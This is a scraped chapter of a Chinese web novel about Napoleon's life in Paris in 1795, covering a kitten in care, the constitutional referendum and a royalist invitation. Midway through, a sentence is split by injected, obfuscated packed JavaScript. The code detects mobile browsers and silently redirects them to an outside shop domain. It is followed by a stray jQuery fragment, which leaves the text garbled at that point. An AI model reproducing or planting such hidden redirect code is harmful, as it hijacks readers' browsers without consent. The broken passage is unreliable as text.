文趣网 > 都市小说 > 拿破仑构史记 > 38.三分之二法令
    人类的一切不幸,皆源于无法安静地独处在一间房里——《思想录》布莱士.帕斯卡

    古兹夫人说自己以前养过猫,对如何养好猫还算有些心得,但那只猫身体不好,恐怕很难救活。

    古兹夫人从厨房找来一个烂底的篮子,稍作修剪后套在猫身上比量一下猫的身材,用布匹包住篮子,往内填充碎布头和稻草,将篮子填充至饱满,套在小猫身上,这样猫就没法舔到自己的伤口了。

    “好了,大功告成。”古兹夫人拍拍手,微笑着说:“接下来就看这只猫的运气了,能活下来的话,我猜它肯定是一只很漂亮的小猫。”她摸摸陷入沉睡的猫脑袋,“想好给它取一个怎样的名字了吗?”

    安托万和亚诺对视一眼,安托万思索半天:“嗯……等它伤好了再说吧。”

    “记得准时给它喂些吃的。”古兹夫人笑着走了。

    篮子很大,猫又很小,小小的猫头埋在布里,脆弱的仿佛没多久生命就会随风消散。

    亚诺以为过几天就会听到小猫去世的不幸消息,好在安托万照料得细心,猫恢复得还可以,只是因为伤口长肉痒得性情十分暴躁,而他又要去外地忙活别的事,于是拜托亚诺代养一段时间。

    亚诺充分怀疑是因为他受不了猫的暴脾气才找理由给自己放假,安托万赌咒发誓绝对没有,他真的有事在身需要去外地几天——临走时还同猫握了握爪子告别:“别忘了我啊小猫咪!”

    小猫咪非常不屑的喵了声。

    安托万离开,养猫的重任落在亚诺手上。好在小猫自理能力还算不错,只在地上打滚试图磨蹭的时候会暴躁的喵喵叫,叫声相当凄厉难听。

    为了让猫安静下来,亚诺想了很多办法,最后发现最好的办法是提着一个篮子装着它去街上走一走,这样它会安静一些。而街头正在搞轰轰烈烈的宪法公投活动,走几步就能见到摇晃着登记册、声嘶力竭号召公民履行职责的工作人员。但大多数路人懒得理会这些人,因为路人——真正意义上的巴黎底层贫苦平民早就没了投票权。

    亚诺本来不想陪热月党玩如此虚伪的游戏,没奈何那些工作人员看到他提着篮子里有猫,认定他是符合条件的积极公民——在巴黎养得起猫的确实是富裕人家才能享受的闲情逸致,总拉着他要求登记。亚诺被迫找借口离开,从此之后,他再带猫上街就在篮子上盖一块布遮着,小猫也很乖地没探脑袋。

    一日,他闲来无事,提着猫篮子去找拿破仑。五点之后,他在拉于歇特街上一家小酒馆找到了他和他的朋友们,他们刚吃完晚饭,正喝酒谈笑。

    “亚诺!”拿破仑看到他来很高兴,目光很快落在他手上提着的篮子上,有些好奇:“这是什么?”

    “猫。”亚诺坐下来,掀开盖在篮子上的花布,“一个朋友有事外出,托我照顾一段时间。”

    朱诺凑过来,心直口快地说:“看起来有点丑。”

    “毛没长好,当然有点难看了。”

    亚诺将小猫提起来一点,让它趴下篮子边缘上,拍拍小框子:“看,你的新朋友们。”

    马尔蒙上手摸了下小猫脑袋,小猫有点懵,还没来得及做反应,“它有名字吗?”

    “还没有,它的主人没决定好。”亚诺说着,注意到拿破仑的神色有些僵硬的不自然,关心地问:“怎么了拿破仑,你不喜欢猫的味道吗?”

    “没有。”拿破仑恢复惯常姿态,放松的靠在墙上。朱诺瞥一眼他,似乎也想起来什么,闭口不言。

    亚诺感觉不对劲:“嗯?看你们的表情,好像还有什么有趣的故事没分享给我?”

    马尔蒙害了病似的掩嘴假装咳嗽,朱诺干脆扭过头去,亚诺怀疑他在努力憋笑,他怀疑的视线回到拿破仑身上,拿破仑脸色已经很难看了。

    好奇心继续下去可不太妙,亚诺决定还是不惹怒拿破仑为好。他自然地问起拿破仑在地形局的工作感受,入职快有一周了,干得还习惯吗?

    拿破仑顺势回答还好,虽然作息与往日大不相同,适应习惯就行。地形办公室的工作有点枯燥,但让他接触到了作为炮兵指挥官根本接触不到的东西,还能认识到从前想都想不到的大人物,如卡诺、塔利安等人,感觉挺不错。

    “对了亚诺,最近的宪法公投你参与了吗?”

    看拿破仑兴致盎然的模样,亚诺猜他肯定投的赞同票,虽然对宪法投票不屑一顾,他还是违心地说自己也投了,投的同意票。

    拿破仑还挺开心,他认为宪法一旦确定下来,新的政府成立,发生在巴黎及各省种种违法的私刑屠杀、保王党势力的反扑很快都能平息下去,它不会再像罗伯斯庇尔的恐怖统治一样用断头台来威慑敌人,也不会像过去那样任由国民公会被无套裤汉左右。

    “法国现在需要秩序与安定。”拿破仑如是总结,“没有强力的政府是办不到这些的。”

    亚诺听笑了,不知是因为自己撒的谎还是因为拿破仑对政府的美好期望,可能两者皆有。他点头:“是啊,希望巴黎能好起来。”

    再聊几句宪法与即将成立的新政府,拿破仑忽然看一眼怀表时间,站起来说自己不能继续闲聊下去了,他要回去休息,好赶上十一点的夜班。临走时,他还尝试摸一下小猫,一直乖乖听聊天的小猫突然弓起腰冲拿破仑哈气,还闪电般伸出爪子搞突袭,可惜小猫胳膊太短,套圈又限制了它的活动范围,拿破仑反应极快地缩回手,悻悻冷哼:“毛茸茸的小恶魔。”

    “哎呀。”亚诺拍了一下小猫脑袋,“小坏蛋。”他充满歉意地说:“可能它伤口发痒了,脾气有点暴躁。”

    拿破仑戴上帽子:“那你记得多给它修修爪子。”说完就离开了酒馆,马尔蒙和朱诺也随即告辞,忙不迭地去追拿破仑。

    亚诺还以为能从马尔蒙他们那打听到消息呢,没想到他们一个比一个跑得快,看来只能指望安托万那边知道点什么了。他捏捏小猫爪子:“怎么突然发疯?嗯?”

    小猫不会说话只会喵喵叫,听着还挺委屈。亚诺揉揉它脑袋,盖上花布,提篮子回咖啡馆休息。

    深夜,拿破仑从睡梦中苏醒,打着哈欠穿好衣服去上班。

    他已经熟悉了地形办公室的事,处理起来越发得心应手,但随着事务的熟悉,他反而越发感到有些无聊了。一方面地形办公室的工作强度确实很大,各个司令处的情报与计划都会汇总过来,忙起来简直是天昏地暗。再加上颠倒的工作时间,拿破仑总觉得身体好像有点吃不消,不太舒服。

    这样的工作要干到什么时候去?

    夜深人静时,拿破仑偶尔会陷入对未来的迷茫。蓬泰库朗承诺过会尽力帮他恢复他炮兵指挥官的职位,可他最近听说了一则很不妙的消息:国民公会有人怀疑蓬泰库朗是保王党,正计划裁

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17633861|205412||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    撤他。

    他不敢催促蓬泰库朗快点履行承诺,毕竟才入职地形办公室没多久,就想着马上恢复炮兵指挥官,那样显得自己过分功利,可蓬泰库朗一旦失势,承诺的实现更遥遥无期了,谁知道下一个负责军事事务的委员是个什么样的人?万一又是和奥布里一样死硬的老顽固,拿破仑一点办法没有。

    他想到一个自己没回应的邀请:去奥斯曼帝国做军事顾问,帮苏丹塞利姆三世练兵。

    既然在巴黎实在没盼头,还真不如远离法国。而且奥斯曼开的报酬条件相当优厚,高薪、豪宅、仆人……去那里还能指挥真正的部队,而不是在地形办公室与文山文海的地图报告打交道,真不知道自己当时是喝的什么假酒,昏头了才一门心思的想留巴黎。

    “唉。”又一个忙碌得头昏脑胀的凌晨三点二十七,拿破仑拖着疲惫的身体回到租住地,没忍住叹气又叹气,开房门时还不太顺畅,似乎老旧的门轴卡住了。

    本来上个破班就烦!拿破仑大力踹门,门惨叫一声,底下蹭出一封信。

    信?拿破仑好奇地扯出来,翻看一下,正反两面都没署名,撕开信封口,纸上用漂亮的花体字写着:“尊敬的拿破仑.波拿巴阁下。”

    拿破仑给屋里点上灯,带上门继续看,开头一阵虚情假意的吹捧赞美后终于进入正题,邀请他去弗拉斯卡蒂咖啡馆的里间坐坐,不必带上朋友,随时恭候他的到来。

    可疑的匿名信邀请自己去喝咖啡……拿破仑想起最近听同事们的闲聊。自从三分之二法令进入公投程序后,巴黎的保王党势力就活跃起来,应该要准备什么大动作了。

    连平时沉默寡言的测绘员杜邦都加入了闲聊:“那个和宪法一起出来的法案?我没仔细看,到最后不都是一起通过吗?”

    最爱八卦政坛消息的莫罗摇头:“是这样没错,不过这条法案让巴黎的保王党很不爽。”

    “不爽?我们都纵容他们这么长时间了,还有什么不爽的?”

    “在街头斗殴算什么事?他们图的是代表席位,想重新掌权。而新法案呢,要求新议会得有三分之二的席位是国民公会的老面孔。上级搞这个法案是为了清场,不是请保王党回来的。”

    他们密谋政变,就找上我了?拿破仑有些好笑,把信放在床头。打算明天有空就去找亚诺,请他来陪自己去一趟,应该不会出什么事。

    “保王党的信?”亚诺看过信后很惊奇,“他们连你都敢邀请?”

    “可能他们觉得我对热月党的仇恨超过了对共和国的感情吧。”拿破仑无奈的笑,“我打算去和他们聊聊。”

    亚诺皱起眉头:“这不好,拿破仑,万一事后追究起来,你前途就完蛋了。”

    “所以需要你陪着我去。”拿破仑信心十足,“不接触保王党,就无从知晓他们在盘算什么计划。亚诺,我相信你对他们也挺好奇的吧?”

    亚诺的确有探查保王党计划的任务在身,不过他不希望拿破仑掺和进来,好不容易拿到地形办公室的工作,何必再去政治风浪的危险边缘试探?

    “亚诺,我当然知道有风险,但你想想,他们注意到我,说明我已经上了他们的名单,谁拟定了这份名单?如果他们政变失败,这份名单被搜查出来,到时候我能怎么解释?所以最好的措施依然是去赴约,看清楚和我接触的人是谁,你才能帮我查到背后有谁在捣鬼。”